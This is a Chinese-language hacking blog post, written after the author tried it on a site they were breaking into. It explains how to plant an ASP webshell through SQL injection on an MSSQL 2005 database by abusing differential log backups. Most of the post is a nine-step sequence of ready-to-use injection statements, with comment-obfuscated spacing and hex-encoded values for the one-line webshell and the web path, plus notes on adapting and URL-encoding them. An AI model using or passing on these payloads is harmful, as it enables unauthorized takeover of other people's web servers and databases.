MSSQL2005差別備份拿shell (MSSQL2005 Backup Get Shell)

昨晚在拿站過程當中遇到了個ASP+MSSQL2005的注入點,權限是DB_Owner的權限,網站路徑也搞到了,本想使用差別備份,在數據庫日誌中插入一句話,而後備份到網站目錄下拿shell的,估計是用戶沒有備份數據庫的權限,但使用MSSQL2000的備份方法根本行不通,後來纔想到MSSQL2005的備份和MSSQL2000有點不一樣。

      後來在網上搜半天沒有找到具體的備份語句,後來在羣求助,小冰才發我了具體的利用語句,但貼出來的文章貌似沒啥水準,你們都知道手工差別備份是本身須要修改數據庫名和網站路徑的,但那個文章中對語句沒有作任何解釋,無奈之下我只好本身嘗試了,雖然測試的網站沒有成功拿下shell,單語句是沒有錯誤的,我在本地的MSSQL2005的查詢分析器中測試經過了,再次特將語句整理出來分享個你們,並作好詳細的解釋說明,首先來貼出語句。

第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--

第二步:
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第三步
;drop/**/table/**/[itpro]--

第四步
;create/**/table/**/[itpro]([a]/**/p_w_picpath)--

第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--

第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第八步
;drop/**/table/**/[itpro]--

第九步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

      其中紅色的「Hospital」既是數據庫名,這個要根據本身的狀況來修改,而後×××的「0x3C25657865637574652872657175657374282261222929253EDA」是一句話「<%eval request("a")%>」的內容,橙色的「0x65003A005C007700650062005C007A002E00610073007000」爲備份的路徑「e:\web\z.asp」,都是使用的SQL_En的格式,另外第三步大能夠不須要!他是刪除itpro的表,若是第一次的話這個表是不存在的,就會提示無權限的信息。另外在語句「disk=@d」的地方能夠將「=」更換成「%3D」,就是使用URL編碼。「/**/」就等於空格了,這個你們在學習注入的過程當中應該瞭解,也能夠更換成「%20」。      以上的語句僅供你們參考!有不足的地方你們能夠積極指正,一塊兒探討。文章轉載請註明出處與做者!謝謝! 
相關文章
相關標籤/搜索